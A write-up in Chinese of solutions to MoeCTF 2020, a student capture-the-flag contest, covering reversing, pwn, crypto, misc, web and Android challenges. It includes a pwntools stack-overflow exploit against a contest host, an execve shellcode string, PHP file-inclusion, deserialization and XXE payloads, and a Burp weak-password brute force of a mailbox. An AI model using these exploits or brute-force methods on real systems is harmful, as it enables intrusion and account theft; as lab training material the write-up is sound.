比赛介绍
MoeCTF是西安电子科技大学一年一度的信息安全新生夺旗赛, 由西电信息安全协会面向全体准大学生举办, 题目难度不高且坡度平缓, 比赛平台开设时间很长, 0基础新生可以通过本次比赛对信息安全夺旗赛(CTF)有一个基础且全面的认识, 中学参加过一些CTF比赛的准大学生们也可以通过本次比赛重温CTF赛事.
MoeCTF除了设有常规CTF比赛相关的分类之外也开设或有计划开设了算法编程类, 运维类, 旨在提供一个知识覆盖全面的做题环境, 同时帮助有过信息学竞赛经历的新生们更快转型.
MoeCTF的积分方式为最简单的静态积分方式, 选手解题并获取固定的分数, 不设动态积分, 不设一血加成, 选手即使在比赛进行时参赛也不必担心分数差距. 部分题目出题人可能提供题目奖励, 比赛本身无奖项. 比赛结束后平台会继续维护一周供各位选手复盘, 写题解. 西电新生们比赛结束后可能会要求提交题解, 作为西电信息安全协会(XDSEC)2020秋季招新的一个重要砝码. 欢迎大家前来参加比赛, 与各路极客同台竞技, 也欢迎新生们在比赛结束后加入XDSEC, 分享技术, 共同进步!
西电信息安全协会(XDSEC)是由08, 09级学长自发组建的学生组织, 面向全校各年级同学 ,期间多次与学校合作, 自行管理和发展至今. 协会资源丰富, 在信息安全领域口碑十分优秀. 协会以致力于技术分享与进步为宗旨, 秉承低调, 分享, 专注, 精进, 自由的精神, 旨在为我校热爱信息安全技术的同学建立一个氛围良好的交流平台, 扩大信息安全在我校的影响力.
目录
Re (8/15)
- 逆向工程入门指南(略)
- Welcome To Re
- Thank you Java
- SimpleRe
- Protection
- Real EasyPython
- RollCall
- RxEncode
Pwn (5/10)
- Welcome to pwn(略)
- Pwn从入门到入狱(略)
- Baby pwn
- Baby shellcode
- unusual shellcode
Algorithm (4/7)
- mess
- Frank,永远滴神
- 赤道企鹅,永远滴神
- 千层饼
Crypto (4/10)
- crypto入门指北(略)
- easycrypto
- rsa_begin
- stream
Misc (13/17)
- Welcome
- MD5
- base64
- hey fxck you!
- base64?¿
- Pseudo Encrypt
- 不 会 吧 ? 就 这 ¿
- Cor1e的支票
- A3FXCK
- ⑨的完美算数教室
- 停不下来了啊啊啊啊啊啊啊
- 星空
- 简单的社工题
Classic Crypto (6/6)
- 大帝的征程#1
- 大帝的征程#2
- 外面的世界
- 大帝的征程#3
- 大帝的征程#维吉尼亚
- 大帝的征程#维吉尼亚Ex
Web (11/11)
- GET
- POST
- 小饼干
- Introduction
- 一句话
- EzMath
- 三心二意
- 俄罗斯头套
- Moe include
- Moe unserialize
- EzXXE
Android (2/2)
- Click It!
- Baby Andriod
Sign in(略)(2/2)
DevOps (0/1)
IoT (0/1)
Re
感谢bb师傅在Re方面对我的指导。
==bb,yyds.==
02 Welcome To Re
解题思路
拖进IDA
03 Thank you JavaScript
解题思路
Js代码去混淆
解题过程
利用Jspacker去混淆
04 SimpleRe
解题思路
IDA,盘它
解题过程
主函数中调用enc函数,跟进
enc是一个加密函数,将处理后的明文与aim字符串对比,跟进aim
由于XOR可逆,直接复制enc的伪代码,稍作修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
using namespace std;
int main(){
string a1 = "rpz|kydKw^qTl@Y/m2f/J-@o^k.,qkb";
char out[50];
signed int i4,i3,i2,i1,nn,mm,ll,kk,jj,ii,n,m,l,k,j,i;
for ( i = 0; i <= 30; ++i )
out[i] = a1[i] ^ 0x17;
for ( j = 0; j <= 30; ++j )
out[j] ^= 0x39u;
for ( k = 0; k <= 30; ++k )
out[k] ^= 0x4Bu;
for ( l = 0; l <= 30; ++l )
out[l] ^= 0x4Au;
for ( m = 0; m <= 30; ++m )
out[m] ^= 0x49u;
for ( n = 0; n <= 30; ++n )
out[n] ^= 0x26u;
for ( ii = 0; ii <= 30; ++ii )
out[ii] ^= 0x15u;
for ( jj = 0; jj <= 30; ++jj )
out[jj] ^= 0x61u;
for ( kk = 0; kk <= 30; ++kk )
out[kk] ^= 0x56u;
for ( ll = 0; ll <= 30; ++ll )
out[ll] ^= 0x1Bu;
for ( mm = 0; mm <= 30; ++mm )
out[mm] ^= 0x21u;
for ( nn = 0; nn <= 30; ++nn )
out[nn] ^= 0x40u;
for ( i1 = 0; i1 <= 30; ++i1 )
out[i1] ^= 0x57u;
for ( i2 = 0; i2 <= 30; ++i2 )
out[i2] ^= 0x2Eu;
for ( i3 = 0; i3 <= 30; ++i3 )
out[i3] ^= 0x49u;
for ( i4 = 0; i4 <= 30; ++i4 )
out[i4] ^= 0x37u;
for(int i = 0; i <= 30; i ++)
cout<<out[i];
return 0;
}
05 Protection
解题思路
查壳,脱壳
解题过程
查壳:查到UPX壳
脱壳:利用UpxUnpacker脱壳
IDA,主函数查看伪代码,将输入字符与x中的字符XOR后与y中字符比对。
1
2
3
4
5
6
7
8
9
10
using namespace std;
char y[50] = {0x0C,0x0,0x10,0x15,0x57,0x26,0x5A,0x23,0x40,0x40,0x3E,0x42,0x37,0x30,0x9,0x19,0x3,0x1D,0x50,0x43,0x7,0x57,0x15,0x7E,0x51,0x6D,0x43,0x57,0x0,0x0,0x0,0x0};
string c = "aouv#@!V08asdozpnma&*#%!$^&*";
int main(){
for (int i = 0; i<=27; ++ i)
cout << (c[i] ^ y[i]);
return 0;
}
06 Real EasyPython
解题思路
反编译pyc
解题过程
利用uncompyle反编译pyc,得到py源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17#! /usr/bin/env python 3.7 (3394)
# coding=utf-8
# Compiled at: 1969-12-31 18:00:00
key = [115, 76, 50, 116, 90, 50, 116, 90, 115, 110, 48, 47, 87, 48, 103, 50, 106, 126, 90, 48, 103, 116, 126, 90, 85, 126, 115, 110, 105, 104, 35]
print('Input your flag: ', end='')
flag = input()
out = []
for i in flag:
out.append(ord(i) >> 4 ^ ord(i))
if len(out) != len(key):
print('TRY AGAIN!')
exit()
for i in range(len(out)):
if out[i] != key[i]:
print('TRY AGAIN!')
exit()
print('you are right! the flag is : moectf{%s}' % flag)解密脚本
1
2
3
4
5
6out = []
key = [115, 76, 50, 116, 90, 50, 116, 90, 115, 110, 48, 47, 87, 48, 103, 50, 106, 126, 90, 48, 103, 116, 126, 90, 85, 126, 115, 110, 105, 104, 35]
for i in key:
out.append(i >> 4 ^ i)
for i in out:
print(chr(i), end='')
07 RollCall
解题思路
这不是一道Re 这是一道Misc(确信)
读取DB文件,修改性别为2
解题过程
下载一个sqlite数据库浏览器,打开,修改性别字段的数据为2.
启动程序即可得到flag
世界线#2
PEID查壳,查到.NET obf/license protector - for ver. < 5.0 - Unpack with : de4dot v3.1 2014 - http://github.com/0xd4d/de4dot
利用de4dot脱壳,之后用Reflector逆向,得到C#伪代码
找到了关键函数。(然后就不会了)
08 RxEncode
解题思路
换表base64
解题过程
IDA分析
main:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18*(_QWORD *)s2 = 0x4AD158FEB59C879ALL;
v15 = 0xCBEBFDFA6CED0BFELL;
v16 = 0x7A47A38E43A334E8LL;
v17 = 4LL;
v18 = 0;
__isoc99_scanf("%33s", &s);
s1 = (char *)RxEncode(&s, 33);
if ( strlen(&s) == 32 )
{
if ( !strcmp(s1, s2) )
v12 = std::operator<<<std::char_traits<char>>(&std::cout, "Congratulations!", v11);
else
v12 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong!", v11);
std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
std::istream::get((std::istream *)&std::cin);
std::istream::get((std::istream *)&std::cin);
result = 0;
}RxEncode(flag)应该就是s2。
s2是用小端序存储的字符串,转换成大端序是
\x9A\x87\x9C\xB5\xFE\x58\xD1\x4A\xFE\x0B\xED\x6C\xFA\xFD\xEB\xCB\xE8\x34\xA3\x43\x8E\xA3\x47\x7A
RxEncode:
base64加密
find_pos:
换表后的base64码
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234{}789+/
EXP
1 | import base64 |
pwn
03 Baby pwn
解题思路
用backdoor的地址覆盖返回地址
解题过程
IDA读主函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36; __unwind {
push rbp
mov rbp, rsp
sub rsp, 50h
mov [rbp+var_44], edi
mov [rbp+var_50], rsi
mov rax, cs:stdin@@GLIBC_2_2_5
mov ecx, 0 ; n
mov edx, 2 ; modes
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setvbuf
mov rax, cs:__bss_start
mov ecx, 0 ; n
mov edx, 2 ; modes
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setvbuf
mov edi, offset format ; "Tell me your name: "
mov eax, 0
call _printf
lea rax, [rbp+var_40]
mov rsi, rax
mov edi, offset aS ; "%s"
mov eax, 0
call _scanf
lea rax, [rbp+var_40]
mov rsi, rax
mov edi, offset aHelloS ; "Hello %s!"
mov eax, 0
call _printf
mov eax, 0
leave
retn
; } // starts at 400687
main endp发现程序为char4开了0x50的内存,而scanf没有输入限制。
构造payload:
1
2
3
4
5
6
7
8from pwn import *
p=remote("sec.eqqie.cn","10003")
sys_dir=p64(0x400676)
payload=b'A'*0x48+sys_dir
p.recv()
p.sendline(payload)
p.interactive()
04 Baby shellcode
解题思路
上shell就完了
解题过程
IDA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public _start
_start proc near
xor eax, eax
mov edx, 18h ; len
mov ecx, offset msg ; addr
mov ebx, 1 ; fd
mov eax, 4
int 80h ; LINUX - sys_write
sub esp, 100h
mov ebx, 0 ; fd
mov ecx, esp ; addr
mov edx, 100h ; len
mov eax, 3
int 80h ; LINUX - sys_read
jmp esp
_start endpsys_read可以读入0x100的数据
在shell-strom找一个0x100以内的shellcode
1
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
05 unusual shellcode
解题思路
纯数字字母shellcode
解题过程
IDA
1
2
3
4
5
6
7
8
9
10for ( i = 0; i <= 4095; ++i )
{
v6 = read(0, &buf, 1uLL);
if ( v6 == -1 )
exit(0);
if ( !isalnum(buf) )
break;
*((_BYTE *)v7 + i) = buf;
}
if ( mprotect((void *)(signed int)((unsigned int)v7 & 0xFFFFF000), 0x1000uLL, 7) == -1 )关键代码:
if(!isalnum(buf))
输入必须是纯数字字母
利用alpha3生成纯数字字母shellcode
Algorithm
01 mess
解题思路
工具人解法(也挺快)
解题过程
删掉字母,手动分ascii码,ascii转字符工具
02 Frank, 永远滴神
解题思路
偷懒,省事,直接用工具
解题过程
03 赤道企鹅, 永远滴神
解题思路
eqqie,yyds!
python脚本遍历目录&文件+条件判断
解题过程
1 | # -*- coding:utf-8 -*- |
04 千层饼
解题思路
手撕 半自动脚本
后来写了全自动脚本
解题过程
查看py脚本,
eqqie_is_god
前面的是用base16/base32/base64/base85/ascii85其中一种编码后的0-4之间的数字。写一个半自动
手动脚本,手动提取eqqie_is_god
之前的字符,解码。1
2
3
4
5
6
7
8
9
10
11from base64 import *
alg = [b16decode, b32decode, b64decode, a85decode, b85decode]
a = int(input('Input encrypt method:'))
with open('flag.txt', 'r') as fi:
origin = fi.read()
sb = bytes(origin, encoding = "utf8")
with open('flag.txt', 'w') as fo:
decoded = alg[a](sb)
bs = str(decoded, encoding = "utf8")
fo.write(bs)
世界线2
后来觉得这解法可能不(yao)太(bei)好(gao),写了另一个自动脚本
1 | from base64 import * |
Crypto
02 easycrypto
解题思路
啊这
解题过程
1 |
|
03 ras_begin
解题思路
脚本
解题过程
1 | from gmpy2 import * |
Misc
01 Welcome
02 MD5
解题过程
这么臭的题,有必要做吗???
03 base64
解题过程
04 hey fxck you!
解题过程
拿到图片,hex查看发现zip头
foremost分离,解压后拿到
fk u.txt
1
++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>>---.++.<+++++.--.>+++++.<+++.>>-----.--.<<-.>-.<<<<<+.>>>>>>.<<.>.<<<<<.>>>>+.+++++.------------.<+++++.>.<<<++.<.>>>>>>++++.
brainfuck解码获得flag
05 base64?¿
解题过程
开提示,看到是个换表的base64
06 Puesudo Encryption
解题过程
Hex查看,发现只有zip尾,缺了头。加上。
解压后,拿到图片。
eqqie,tqlHex查看,文件最后有一串base64编码,解码,拿到flag
07 不 会 吧 ? 就 这 ¿
解题过程
Hex查看图片,发现zip头,foremost分离压缩包。解压得到txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20不会吧? 就这¿ 不会吧? 就这¿
就这¿ 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿
不会吧? 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿
不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 就这¿
不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿
就这¿ 就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 就这¿
就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 就这¿ 就这¿
就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿
不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 就这¿
不会吧? 就这¿ 不会吧? 不会吧? 就这¿ 不会吧? 就这¿ 就这¿
就这¿ 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿
就这¿ 不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 不会吧? 就这¿
不会吧? 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿
不会吧? 就这¿ 就这¿ 不会吧? 不会吧? 不会吧? 不会吧? 就这¿
不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 不会吧? 就这¿
就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 不会吧? 就这¿
就这¿ 就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 不会吧? 就这¿
不会吧? 就这¿ 就这¿ 就这¿ 不会吧? 不会吧? 就这¿ 就这¿
不会吧? 不会吧? 就这¿ 就这¿ 不会吧? 就这¿ 不会吧? 就这¿
不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 不会吧? 就这¿ 就这¿将
就这¿
替换为0,将不会吧?
替换为1,然后倒置,2进制转10进制,ascii码转字符,拿到flag。
08 Cor1e的支票
解题过程
1 | 。。。。。。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。!。。。。。!。?。。。。。。。!?!!。?!!!!!!?。?!。?!!!。!!!!!。?。。。。。。。。。!?!!。?。。。。。。。。?。?!。?。。!。?。。。。。。。!?!!。?!!!!!!?。?!。?!!!!!!!!!!!。?。。。。。。。。。!?!!。?。。。。。。。。?。?!。?。。。。。。。。。。!。?。。。。。。。。。!?!!。?!!!!!!!!?。?!。?!!!!!!!!!!!!!!!!!。?。。。。。。。!?!!。?。。。。。。?。?!。?。。。。。。!。。。。。。。!。?。。。。。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!!!!!?。?!。?!!!。?。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。?。?!。?。。。。。。!。!!!!!!!!!!!!!。?。。。。。。。。。。。!?!!。?!!!!!!!!!!?。?!。?!!!!!!!!!!!。?。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。!。?。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!?。?!。?!!!!!!!!!!!!!。?。。。。。。。。。。。!?!!。?。。。。。。。。。。?。?!。?。。。。!。。。。。。。。。。。。。!。?。。。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!!!?。?!。?!!!。?。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。。。。。。。。。!。!!!!!!!!!!!!!!!!!。!!!!!!!!!。!!!!!!!!!!!!!。?。。。。。。。。。。。。。!?!!。?!!!!!!!!!!!!?。?!。?!!!!!!!!!!!!!!!!!!!!!。?。。。。。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。。。。。?。?!。?。。。。!。?。。。。。。。。。!?!!。?!!!!!!!!?。?!。?!!!!!!!!!。?。。。。。。。。。。。!?!!。?!!!!!!!!!!?。?!。?!!!!!!!。?。。。。。。。!?!!。?。。。。。。?。?!。?。。。。。。。。!。?。。。。。。。。。。。。。!?!!。?。。。。。。。。。。。。?。?!。?。。。。。。。。。。。。。。。。。。!。?。 |
- 替换:。-> Ook. ! -> Ook! ? -> Ook?
- 在线Ook解密,得到flag
09 A3FXCK
“luoq1an向arttnba3推荐了世界上最优秀的语言Javascript,但对于实在是不精通编程的他来说,这无疑是一场灾难…”
解题过程
1 | 123456[]()+! |
10 ⑨的完美教室
解题思路
1 + 1 = 9
2 + 3 = 9
0 + 0 = 9
arttnba3 + arttnba3 = 9
$e^{\pi\cdot i}=9$
解题过程
手撕
正解
python pwntools脚本
11 停不下来了啊啊啊啊啊啊啊
解题过程
FFMPEG黑场帧检测
1
ffmpeg -loglevel info -i ~/test.mp4 -vf blackframe=95:30 -f null -
vegas跳转到对应帧,拿到flag
世界线2
用vegas将视频的全部帧dump出来,做一张纯黑图片,查找相似图片。
12 星空
解题过程
- 图片拼接
利用gaps自动拼图。
13 简 单 的社工题
简单的社工尝试!你能找到隐藏的moectf的flag吗?
提示:百度贴吧
使用手机版贴吧寻找第一步的信息
flag格式:moectf{flag内容}
解题过程
手机版贴吧搜索moectf吧。
查看关注的人,惊现arttnba小号
查看arttnba关注的吧
按照提示,进入公邮
用Burp+Top100弱口令字典爆破密码。密码是a123456
查看管理员发送的通知,一看就是百度网盘分享链接和密码。访问之。
- txt文件里有base64编码的flag
bW9lY3RmJTdCdzB3X1kwdV9jNG5fZjFuZF9tM19vdVQlMjElN0Q=
- txt文件里有base64编码的flag
Classical Crypto
01 大帝的征程#1
rot13,ord(‘z’) - ord(‘m’) = 13
02 大帝的征程#2
手撕
有数字的维吉尼亚加密,table就是key
这题的坑点是。。。符号也占一位key
03 外面的世界
手撕
m c { i 3 3 n y _ - n ~
o t R 1 n _ c p 1 F N }
e f a F c 3 2 T s u y
moectf{Rai1F3nc3_3nc2ypt_1s-Fuuny~}
04 大帝的征程#3
换表凯撒加密,表里有哪些字符不(lan)好(de)猜(shi),直接爆破
1 | a = '>@64E7L4_?BF6C0E9b0)s$trN' |
05 大帝的征程#维吉尼亚
爆破猜解密码
1 | a = 'pgieqi' |
06 大帝的征程#维吉尼亚Ex
自动爆破 脚本是嫖来的。
1 |
|
世界线2
找到类似flag的东西。
ooukot{ig3_oqf1_Ymiedmms_BzVn3_s0w_w0_3csO}
大括号前明文是moectf,盲猜Ymiedmms是Virginia,w0是s0,3csO是3asY。
然后手撕。
Web
01 GET
get提交a=flag
02 POST
POST提交a=flag
03 小饼干
flag在cookie里
04 Introduction
进俩页面,查看源码
查找moectf和}
05 一句话
一句话shell,菜刀连上,管理文件
06 EzMath
在浏览器里禁用js脚本
07 三心二意
payload:
1 | http://39.97.238.171:8002/?a=0&c=QNKCDZO |
08 俄罗斯头套
payload:
1 | POST / HTTP/1.1 |
09 Moe include
payload:
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
1 | PD9waHANCmVjaG8gIkNhbiB5b3UgZ2V0IHRoZSBmbGFnPyI7DQovL21vZWN0ZntwaHBfaXNfdGhlX2Jlc3RfbGFuZ3VhZ2V9DQo= |
base64转换,拿到flag
10 Moe unserialize
根据提示,下载网页临时文件.index.php.swp
在linux上用vim读取,获取源代码。
1 |
|
payload:
1 | O:3:"Moe":3:{s:1:"a";s:1:"1";s:4:"%00*%00b";s:1:"2";s:6:"%00Moe%00c";s:1:"3";} |
11 EzXXE
解题思路
XXE任意文件读取
解题过程
给出了源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// flag is in '/flags/flag1.txt' and '/flags/flag2.php'
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
if (strpos($xmlfile,"flag1.txt") !== FALSE){
if (strpos($xmlfile,'file:/') === FALSE){
die("Please use file protocol.<br/><br/>");
}
}
if (strpos($xmlfile,"flag2.php") !== FALSE){
if (strpos($xmlfile,'file:/') !== FALSE){
echo "Why not try php://filter?";
echo '<br/><br/>';
}
}
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$test = simplexml_import_dom($dom);
echo $test;
highlight_file(__FILE__);
POST提交payload,获取flag2.php
1 | <?xml version="1.0"?> |
POST提交payload,获取flag1.txt
1 | <?xml version="1.0"?> |
evil.dtd:
1 | <!ENTITY % all |
Andriod
01 Click it!
解题过程
手撕大法好 致敬Rx
世界线2
CE搜索内存,修改。
02 Baby Android!
解题过程
AndroidKiller逆向,用Java Decomplier查看com.example.signin/MainActivity.class
1 | #include<bits/stdc++.h> |